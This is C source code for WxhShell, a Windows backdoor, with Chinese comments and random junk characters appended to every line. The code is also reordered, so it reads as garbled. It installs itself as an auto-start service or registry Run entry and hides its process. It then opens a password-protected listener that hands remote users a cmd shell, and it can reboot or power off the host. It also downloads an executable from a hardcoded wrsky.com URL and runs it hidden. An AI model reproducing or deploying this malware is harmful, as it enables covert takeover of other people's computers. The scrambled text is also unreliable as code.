    if(Boot(SHUTDOWN)) &tKs t,UR8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <}%>a@  
    else { &j/ WjZPF  
    closesocket(wsh); +b] g;  
    ExitThread(0); 6:B[8otQ  
    } :eI .E:/'  
    break; vZC2F  
    } x!q$`zF\\  
  // 获取shell ,SJB 3if  
  case 's': { g?M\Z";  
    CmdShell(wsh); ^"ywltW>  
    closesocket(wsh); ~fs{Ff'  
    ExitThread(0); O@3EJkv  
    break; 9c806>]U^  
  } '=x   
  // 退出 S,vrz!'>A  
  case 'x': { TD,W*(b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  :XF;v  
    CloseIt(wsh); Wn24eld"x  
    break; !wvP 24"y  
    } N40.GL0s  
  // 离开 q:-8W[_  
  case 'q': { $qy%Q]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !1dCk/D&)8  
    closesocket(wsh); zb~!> QIz{  
    WSACleanup(); d>  Y9g  
    exit(1); au5 74tj  
    break; qSMST mnQ  
        } El0|.dW  
  } Og%qv Bj 6  
  } K|Std)6  
DI9x] CR  
  // 提示信息 HPp Kti7g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Aa.bE,W  
} V_!hrKkL  
  } Gy 'l;2  
hkv&Od,  
  return; ,a< !d  
} 8:-[wl/@  
J}KATpHs  
// shell模块句柄 @y9_\mX!s  
int CmdShell(SOCKET sock) E<'3?(D9hL  
{ /l0\SVwa>  
STARTUPINFO si; a)4.[+wnRf  
ZeroMemory(&si,sizeof(si)); bWwc2##7jo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A[;R_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (C,PGjd  
PROCESS_INFORMATION ProcessInfo; ;hmy7M1%  
char cmdline[]="cmd"; fT/;TK>z>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2M= gpy  
  return 0; _7]* 5Pxo  
} j* g5f  
WU{G_Fqaz  
// 自身启动模式 sBq @W4  
int StartFromService(void)  {k}S!T  
{ <"AP&J'H  
typedef struct J^ryUO o}b  
{ ,S:LhgSP  
  DWORD ExitStatus; 0NZg[>H  
  DWORD PebBaseAddress; @xB"9s  
  DWORD AffinityMask; ,#UaWq@7  
  DWORD BasePriority; Tw`^  
  ULONG UniqueProcessId; (m=-oQ&Ro  
  ULONG InheritedFromUniqueProcessId;  MI!C%  
}   PROCESS_BASIC_INFORMATION; 0~R0)Q,  
>Rjk d>K3  
PROCNTQSIP NtQueryInformationProcess; O@'/B" &  
\NS\>Q+d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S*IF/ fu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]gHw;ry  
%-i2MK'A  
  HANDLE             hProcess; m /JpYv~  
  PROCESS_BASIC_INFORMATION pbi;  EP'2'51  
B:a&)L wp0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %[-D&flKC  
  if(NULL == hInst ) return 0; Sh*LD QL<?  
=5oE|F%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,S2D/Y^>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H{E223  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d5\w'@Di  
c@~\ FUr  
  if (!NtQueryInformationProcess) return 0; 65\'(99y U  
*rK}Ai  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w8kp6_i'  
  if(!hProcess) return 0; 7\rz*  
=\ iV=1iB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6^s=25>p  
:7<spd(%"  
  CloseHandle(hProcess); D^]7/w:$-  
.4Jea#M&x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `Ou\:Iz0u  
if(hProcess==NULL) return 0; M8ZpNa  
\e T0d<  
HMODULE hMod; Im+<oZ  
char procName[255]; TPt<(-}W  
unsigned long cbNeeded; /^G1wz2  
OSK 3X Qc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AwAUm 2^  
`!kOyh:X  
  CloseHandle(hProcess); CQW#o_\  
HO/Ij  
if(strstr(procName,"services")) return 1; // 以服务启动 |gA~E>IqF  
c-z ,}`  
  return 0; // 注册表启动 81O`#DfZ  
} 7;) T;X  
'mp@!@_  
// 主模块 8Sd<!  
int StartWxhshell(LPSTR lpCmdLine) 6FiI\  
{ {k%*j 4  
  SOCKET wsl; %]h5\%@w  
BOOL val=TRUE; !<Ma9%uC{  
  int port=0; 2)Grl;T]s  
  struct sockaddr_in door; uwXquOw  
TIbiw  
  if(wscfg.ws_autoins) Install(); t4/d1qW0  
A7 qyv0F  
port=atoi(lpCmdLine); ']WS@MbJ  
u K6R+a  
if(port<=0) port=wscfg.ws_port; MxD,xpf  
B+#!%J_  
  WSADATA data; mFw`LvH?*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KbQ UA$gL=  
[KLs} ~H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |,c QJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3vfm$sx@  
  door.sin_family = AF_INET; @#hd8_)A.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @@"}i7  
  door.sin_port = htons(port); W,9. z%  
qT$;ZV #  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {`2! 3= "  
closesocket(wsl); <^c?M[ j  
return 1; J]yUjnQ[h  
} 5R\{&  
u9ObFm$7  
  if(listen(wsl,2) == INVALID_SOCKET) { HQJ_:x Y  
closesocket(wsl); ? C1.g'}7  
return 1; {}kE=L5  
} Yj3j?.JJk  
  Wxhshell(wsl); ebK/cPa8  
  WSACleanup(); Q>Voa&tYn  
]rGZ  
return 0; 'APtY;x^{  
_;L%? -2c  
} VPW@y  
s.7\?(Lg  
// 以NT服务方式启动 U l8G R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7iMBDkb7  
{ b* k=  
DWORD   status = 0; 6a6;]lsG  
  DWORD   specificError = 0xfffffff; tljZE)  
VBnD:w"z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9 Rl-Jz8g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^/@Z4(E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9<0TF+}>  
  serviceStatus.dwWin32ExitCode     = 0; 7X 4/6]*  
  serviceStatus.dwServiceSpecificExitCode = 0; )aSj!X'`;  
  serviceStatus.dwCheckPoint       = 0; RP[^1  
  serviceStatus.dwWaitHint       = 0; O?\UPNb:K  
1g_p`(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LX f r  
  if (hServiceStatusHandle==0) return; N{+6V`\  
= VIU  
status = GetLastError(); 5i71@?q;  
  if (status!=NO_ERROR) >-8r|};+  
{ oKyl2jg+,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a(.q=W  
    serviceStatus.dwCheckPoint       = 0; WxPu{N  
    serviceStatus.dwWaitHint       = 0; efzS]1Jpz  
    serviceStatus.dwWin32ExitCode     = status; 9;2{=,  
    serviceStatus.dwServiceSpecificExitCode = specificError; +vf~s^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N"/J1   
    return; t =LIkwD  
  } m[aBHA^g  
b'AA*v,b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Dh+<|6mx  
  serviceStatus.dwCheckPoint       = 0; xWRkg$A  
  serviceStatus.dwWaitHint       = 0; D[jPz0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :O?+Ywn  
} IKo,P$ PE  
Sb QM!Q  
// 处理NT服务事件,比如:启动、停止 >o/+z18x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZNfQM&<d  
{ 7a0T]  
switch(fdwControl) t[e`wj+qz  
{ cG)U01/"  
case SERVICE_CONTROL_STOP: G/ sRi wL  
  serviceStatus.dwWin32ExitCode = 0; y':JUwUN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eP(|]Rk  
  serviceStatus.dwCheckPoint   = 0; uKA-<nM._c  
  serviceStatus.dwWaitHint     = 0; '@6O3z_{  
  { w;b;rHAZ\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  K P@bz  
  } Z Jgy!)1n  
  return; aM5Hp>'nI  
case SERVICE_CONTROL_PAUSE: Sdzl[K/}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `; +UWdAR  
  break; [AHoTlPZ  
case SERVICE_CONTROL_CONTINUE: S7v# `#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <`)vp0  
  break; Q30TR  
case SERVICE_CONTROL_INTERROGATE: `G'Z,P-a  
  break; a&z$4!wQB  
}; 4e20\q_{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;$Pjl8\  
} > I>=/i^  
[gaB}aLn  
// 标准应用程序主函数 Vi=u}(*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @ JfQ}`  
{ d_1uv_P  
xLShMv}  
// 获取操作系统版本 6s.>5}M!  
OsIsNt=GetOsVer(); _aP 2gH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f0@4 >\g  
0'Uo3jAB  
  // 从命令行安装 AfT;IG%Gt  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4+B&/}FDLo  
M@]@1Q.p  
  // 下载执行文件 .b|!FWHNS  
if(wscfg.ws_downexe) { 3f-J%!aH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z1m-t# v:  
  WinExec(wscfg.ws_filenam,SW_HIDE); TCI)L}L|  
} SG@E*yT1  
TcpaZ 'x  
if(!OsIsNt) { w 6  
// 如果时win9x,隐藏进程并且设置为注册表启动 !NO)|N>  
HideProc(); K3^2;j1F Q  
StartWxhshell(lpCmdLine); {k uC+~R  
} cT|aQM@iW  
else %~I%*=o[  
  if(StartFromService()) |wM<n  
  // 以服务方式启动 >@0U B@  
  StartServiceCtrlDispatcher(DispatchTable); [_-[S  
else )}to7r7 `  
  // 普通方式启动 D[0g0>K  
  StartWxhshell(lpCmdLine); 4 3G2{  
FT6~\9m(  
return 0; F;8Uvj  
} 3Ct)5J  
M*Ri1   
J'C%  
tHmV4H$  
=========================================== HX#$ ^@Q(  
*?~&O.R"  
&hnKBr(Lw  
,In}be$:  
TJ>$ ~9&Sy  
\ZtF,`Z  
" *6wt+twH  
M.K%;j`  
#include <stdio.h> zU2Mno  
#include <string.h> F.iJz4ya_  
#include <windows.h> u}|+p+  
#include <winsock2.h> _ q^JjR  
#include <winsvc.h> W3A9uk6  
#include <urlmon.h> fl+2 '~  
fzr0dcNgM  
#pragma comment (lib, "Ws2_32.lib") %b>Ee>rdD  
#pragma comment (lib, "urlmon.lib") 5GwzG<.\^_  
(%)<jg1  
#define MAX_USER   100 // 最大客户端连接数 s&L 6C[  
#define BUF_SOCK   200 // sock buffer 8F/JOtkGMt  
#define KEY_BUFF   255 // 输入 buffer #;hYJ Y  
aA=7x&z@  
#define REBOOT     0   // 重启 MNocXK  
#define SHUTDOWN   1   // 关机 N*'d]P2P`J  
DS ^ `:^hv  
#define DEF_PORT   5000 // 监听端口 s!?T$@a=  
l~ZIv   
#define REG_LEN     16   // 注册表键长度 yZY.B {  
#define SVC_LEN     80   // NT服务名长度 QygbfW6u  
C%Fc%}[  
// 从dll定义API ]] 50c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -op(26:W<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L+Q.y~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wqAj=1M\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -GT&46hX  
94xWMX2  
// wxhshell配置信息 ^gY3))2_  
struct WSCFG { iJ p E`  
  int ws_port;         // 监听端口 d[y(u<Vl  
  char ws_passstr[REG_LEN]; // 口令  4_d'Uh&]  
  int ws_autoins;       // 安装标记, 1=yes 0=no frUO+  
  char ws_regname[REG_LEN]; // 注册表键名 oNp(GQ@0  
  char ws_svcname[REG_LEN]; // 服务名 '<Jqp7$dL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n0opb [?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AZfW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xnPi'?A]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !@9G9<NK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \pVWYx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o$k9$H>Na  
9_l WB6  
}; QN^AihsPi  
x?RYt4S  
// default Wxhshell configuration O9R[F  
struct WSCFG wscfg={DEF_PORT, 9;tY'32/  
    "xuhuanlingzhe", {v U;(eN  
    1, 0 ![  
    "Wxhshell", T[eb<  
    "Wxhshell", !EB[Lut m  
            "WxhShell Service", TyN]Pa  
    "Wrsky Windows CmdShell Service", p #Y2v  
    "Please Input Your Password: ", y\zRv(T=  
  1, &z?:s  
  "http://www.wrsky.com/wxhshell.exe", rixt_}aE  
  "Wxhshell.exe" @h!nVf%fe  
    }; /7hC /!@  
'ARbJ1a  
// 消息定义模块 D\k'Eez  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,O`~ D~$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M&^Iun  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s|IC;C|  
char *msg_ws_ext="\n\rExit."; mH /9J  
char *msg_ws_end="\n\rQuit."; WFG`-8_e[I  
char *msg_ws_boot="\n\rReboot..."; (X~JTH:e/  
char *msg_ws_poff="\n\rShutdown..."; z65Q"A  
char *msg_ws_down="\n\rSave to "; UHFI4{Wz  
D ] G=sYt  
char *msg_ws_err="\n\rErr!"; U$7]*#@&  
char *msg_ws_ok="\n\rOK!"; BMYvxSsm  
kR65{h"gZT  
char ExeFile[MAX_PATH]; :4/37R(~l8  
int nUser = 0; }N0v_Nas;v  
HANDLE handles[MAX_USER]; J3c8WS{:  
int OsIsNt; tPaNhm[-q7  
=_Ip0FfK!  
SERVICE_STATUS       serviceStatus; ayr CLv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;%!]C0 ?  
k%%0"+y#a  
// 函数声明 yhh\?qqy  
int Install(void); z~Is E8  
int Uninstall(void);  |: ,i  
int DownloadFile(char *sURL, SOCKET wsh); CJe~>4BT  
int Boot(int flag); 4^_'LiX3[  
void HideProc(void); 9qI#vHA  
int GetOsVer(void); %JPBD]&M  
int Wxhshell(SOCKET wsl); XB;C~:  
void TalkWithClient(void *cs); $u%7]]Y^\  
int CmdShell(SOCKET sock); ^!rAT1(/_  
int StartFromService(void); LGq T$ O|  
int StartWxhshell(LPSTR lpCmdLine); PDkg@#&y,k  
>*Ctp +X@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [(*?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y>Fh<"A|$  
jKr>Ig=$tA  
// 数据结构和表定义 Eal*){"<,?  
SERVICE_TABLE_ENTRY DispatchTable[] = \^x`GsVy  
{ ,racmxnv  
{wscfg.ws_svcname, NTServiceMain}, kV:T2}]|H  
{NULL, NULL} UZx8ozv'  
}; ,f}u|D 3@  
!yD$fY  
// 自我安装 tA{h x -  
int Install(void) x*! %o(G  
{ OQiyAyX  
  char svExeFile[MAX_PATH]; qu%}b>  
  HKEY key; )Y:C'*.r  
  strcpy(svExeFile,ExeFile); .qS(-7<  
8 DPn5E#M1  
// 如果是win9x系统,修改注册表设为自启动 HwZ"l31  
if(!OsIsNt) { @7`=0;g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1"f)\FPGe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q/`W[Et  
  RegCloseKey(key); V,&A? Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qh#?a'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RX?y}BDo0  
  RegCloseKey(key); G_S2Q @|Q  
  return 0; OBL2W\{  
    } < Wm'V-  
  } 5+[ 3@  
} MJ<jF(_=  
else { :: s k)  
B3&C=*y  
// 如果是NT以上系统,安装为系统服务 )`K!XX$%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /~3kkM(Ty  
if (schSCManager!=0) =[LUOOR*]  
{ eS/Au[wS  
  SC_HANDLE schService = CreateService ZKt`>KZ  
  ( Yht |^ =a  
  schSCManager, `X%Qt ~  
  wscfg.ws_svcname, `J %35  
  wscfg.ws_svcdisp, n;e.N:p  
  SERVICE_ALL_ACCESS, sFw;P`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g17 fge6%  
  SERVICE_AUTO_START, O96%U$W  
  SERVICE_ERROR_NORMAL, "f:_(np,  
  svExeFile, Ou{VDE  
  NULL, zg$NrI&  
  NULL, /" @cv{  
  NULL, =F09@C,  
  NULL, }#2I/dn  
  NULL S,f:nLT  
  ); tHV+#3h  
  if (schService!=0) f&!{o=  
  { |: pBk:  
  CloseServiceHandle(schService); <&l@ ):a  
  CloseServiceHandle(schSCManager); uZa)N-=b2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v+C%t!dx  
  strcat(svExeFile,wscfg.ws_svcname); 0t%`jY~%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { upiYo(sN.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7M<co,"  
  RegCloseKey(key); xu.TS  
  return 0; a xz-H`oq4  
    } X*t2h3 "}  
  } #6@4c5{2=4  
  CloseServiceHandle(schSCManager); K"8!  
} <OTx79m  
} Y%^qt]u.8  
+ S@[1 N  
return 1; GHpP *x  
} |LirjC4  
MB+a?u0\  
// 自我卸载 HjY! ]!4p  
int Uninstall(void) p8MN>pLP%  
{ f@0Km^aUc  
  HKEY key; ^1bM=9]F0  
BK1I_/_!  
if(!OsIsNt) { %*OQH?pyx}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mp06A.j[  
  RegDeleteValue(key,wscfg.ws_regname); |xrnLdng0R  
  RegCloseKey(key); x#fv<Cj4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \f'=  
  RegDeleteValue(key,wscfg.ws_regname); \7G.anY  
  RegCloseKey(key); o\X|\nUk  
  return 0; <sG}[:v  
  } 7GRPPh<4  
} *fI\|%K  
} n( zzH  
else { t@jke  
q^6l`JJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8|tnhA]~  
if (schSCManager!=0) uP.dCs9-  
{ aX? tnDv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f1 `E-  
  if (schService!=0) JG@Zb}b  
  { ] -%B4lT  
  if(DeleteService(schService)!=0) { !ezy  v`  
  CloseServiceHandle(schService); #!t6'*  
  CloseServiceHandle(schSCManager); .f`KP!p.  
  return 0; "Iacs s0;  
  } jXIVR'n(  
  CloseServiceHandle(schService); ppnl bL^*  
  } 7=a e^GKo  
  CloseServiceHandle(schSCManager); LeYI<a@n@$  
} )B"E+Q'h{7  
} w{ P l  
[X ]XH  
return 1; p MR4]G  
} lqvP Dz  
dte-2?%~j  
// 从指定url下载文件 lD$\t/8B  
int DownloadFile(char *sURL, SOCKET wsh) ,,G'Zur7  
{ s3=sl WY=  
  HRESULT hr; r ?z}TtDp  
char seps[]= "/"; S7b7zJ8A  
char *token; ~'N+O K  
char *file; zZP&`#TAy  
char myURL[MAX_PATH]; $?u LFD  
char myFILE[MAX_PATH]; 7,Y+FZ  
fYlqaO4[  
strcpy(myURL,sURL); G)&!f)6  
  token=strtok(myURL,seps); (+(bw4V/  
  while(token!=NULL) PoD/i@  
  { !{vZvy"  
    file=token; M|7][! <G!  
  token=strtok(NULL,seps); ~|{_Go{ Q  
  } R| XD#bG  
-`5L;cxwk4  
GetCurrentDirectory(MAX_PATH,myFILE); %- Ga  ^[  
strcat(myFILE, "\\"); _O&P!hI  
strcat(myFILE, file); hHgH'  
  send(wsh,myFILE,strlen(myFILE),0); rVwW%&  
send(wsh,"...",3,0); @/xdWN!,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,mM7g  
  if(hr==S_OK) wpt5'|I  
return 0; )lP(is FP  
else %DKC/%  
return 1; bjq.nn<=  
ps*iE=D  
} 2Hk21y\  
rdH^"(  
// 系统电源模块 N!<X% Ym  
int Boot(int flag) y:k7eE"  
{ .2y @@g  
  HANDLE hToken; ? 3oUkGfn  
  TOKEN_PRIVILEGES tkp; G<Urj+3/Xo  
QT4vjz+|  
  if(OsIsNt) { ,My'_"S?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X$eR RSW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'l3 DP  
    tkp.PrivilegeCount = 1; HcpAp]L)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P` y.3aK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9{%/I   
if(flag==REBOOT) { D4*_/,}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) be [E^%  
  return 0; U"Y/PBs,  
} ek d[|g  
else { A(z m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k<RaC=   
  return 0; 31N5dIi,  
} >^g\s]c[  
  } cDz^jC   
  else { ^~s!*T)\  
if(flag==REBOOT) { r+tHVh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P.djR)YI  
  return 0; $)6x3&]P  
} gCbS$Pw  
else { Q1(4l?X@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0JW =RW  
  return 0; :W$- b  
} hb1eEn  
} !1l~'/r  
fM"&=X  
return 1; :g{ybTSEe  
} >b8-v~o{  
]$U A5/a  
// win9x进程隐藏模块 K*M1$@5  
void HideProc(void) wWM[Hus  
{ /$9We8  
W *2P+H%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "YVr/u  
  if ( hKernel != NULL ) Y4[oa?G  
  { "i&9RA! 1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f[?JLp   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (~fv;}}v  
    FreeLibrary(hKernel); ep{/m-h(!_  
  } (4/W)L$  
}(K1=cEaL  
return; ^OK;swDW  
} |Z8Eu0RSb  
CD4@0Z+  
// 获取操作系统版本 *hh9 K  
int GetOsVer(void) < Yc)F.:  
{ yTf/]H]d  
  OSVERSIONINFO winfo; uvi&! )x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %q6I-  
  GetVersionEx(&winfo); -op)X>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w8zr0z  
  return 1; #q5tG\gnM  
  else 7c8`D;A-K  
  return 0; #VxN [770  
}  IuMJ-"  
&w:0ad|  
// 客户端句柄模块 |o@U L  
int Wxhshell(SOCKET wsl) 2 ]n4)vv,  
{ .vd*~U"  
  SOCKET wsh; YD0j&@.  
  struct sockaddr_in client; qKE+,g'  
  DWORD myID; Y Azj>c&  
ux)Wh.5  
  while(nUser<MAX_USER) B7sBO6Z$J  
{ L1&` 3a?pL  
  int nSize=sizeof(client); !vuun |  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R7c42L\QA  
  if(wsh==INVALID_SOCKET) return 1; yoz-BS  
)k]{FM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E:[!)UG|y  
if(handles[nUser]==0) 5?|y%YH;R\  
  closesocket(wsh); tH:?aP*2  
else SZ:R~4 A  
  nUser++; N|8^S  
  } sXYXBX[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s~k62  
0^6}s1d_  
  return 0; v~0lZe  
} Q8_5g$X\  
c?6(mU\x  
// 关闭 socket i_nUyH%b  
void CloseIt(SOCKET wsh) 3@* ~>H  
{ @6-3D/=  
closesocket(wsh); Equ%6x  
nUser--; aM:tg1g  
ExitThread(0); e}s,WC2-  
} -CALU X  
F*Ul#yX  
// 客户端请求句柄 AjsjYThV  
void TalkWithClient(void *cs) CY"i|s  
{ 2o 7o~r  
BF"eVKA  
  SOCKET wsh=(SOCKET)cs; [a.(0YLr'w  
  char pwd[SVC_LEN]; (l/i#  
  char cmd[KEY_BUFF]; }a%Wu 7D  
char chr[1]; kmt+E'^]  
int i,j; B)dd6R>8  
fT=ZiHJ3Gu  
  while (nUser < MAX_USER) { I/gfsyfA  
7 ,Q7`}gBf  
if(wscfg.ws_passstr) { ,t|_Nc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MfA%Xep  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `:2np{  
  //ZeroMemory(pwd,KEY_BUFF); slLTZ]  
      i=0; xscR Bx  
  while(i<SVC_LEN) { I]~s{I(EK  
ncpA\E;ff^  
  // 设置超时 ^5+7D1>W%  
  fd_set FdRead; iphdJZ/f  
  struct timeval TimeOut; %v^qQWy=*  
  FD_ZERO(&FdRead); k"cKxzB  
  FD_SET(wsh,&FdRead); yKmHTjX=  
  TimeOut.tv_sec=8; 3Q,p,  
  TimeOut.tv_usec=0; McN'J. Sxp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;cb='s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r%LG>c`^  
\P*%u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); buHUBn[3)  
  pwd=chr[0]; 9~ifST \  
  if(chr[0]==0xd || chr[0]==0xa) { , _xJ9_  
  pwd=0; MN>U jFA  
  break; 2O2d*Ld>  
  } ul"Z% 1]  
  i++; 4Cvo^k/I  
    } N9z!-y'X  
fi6_yFl  
  // 如果是非法用户,关闭 socket ?MiMwVR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u;8bbv4  
} /!y3ZzL  
H$&P=\8n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z f^@f%R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q}#H|@  
Z3iX^  
while(1) { > !HC ?  
uJ,I6P~9  
  ZeroMemory(cmd,KEY_BUFF); p+{*w7?8"[  
9(BB>o54r  
      // 自动支持客户端 telnet标准   {1GIiP-U  
  j=0; @2 SL$0!QA  
  while(j<KEY_BUFF) { 1:"ZS ]i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "C+Fl /v  
  cmd[j]=chr[0]; '9 <APUyu  
  if(chr[0]==0xa || chr[0]==0xd) { [_p&,$z8[  
  cmd[j]=0; n\YWWW[wf  
  break; *Rj*%S  
  } Js !Zk\O  
  j++; 1;+(HB  
    } 1)M%]I4  
nZUBblRJ)  
  // 下载文件 [zl"G^z  
  if(strstr(cmd,"http://")) { $h'>Zvf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q.RW_t~  
  if(DownloadFile(cmd,wsh)) 82z<Q*YP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T<ekDhlr  
  else =[^_x+x hE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Oe$)(`|h  
  } [Uu!:SZ  
  else { p:^;A/D  
5nG$6Hw  
    switch(cmd[0]) { 7o64|@'j  
  ZD]5"oHY  
  // 帮助 jhSc9  
  case '?': { y]E ?\03"  
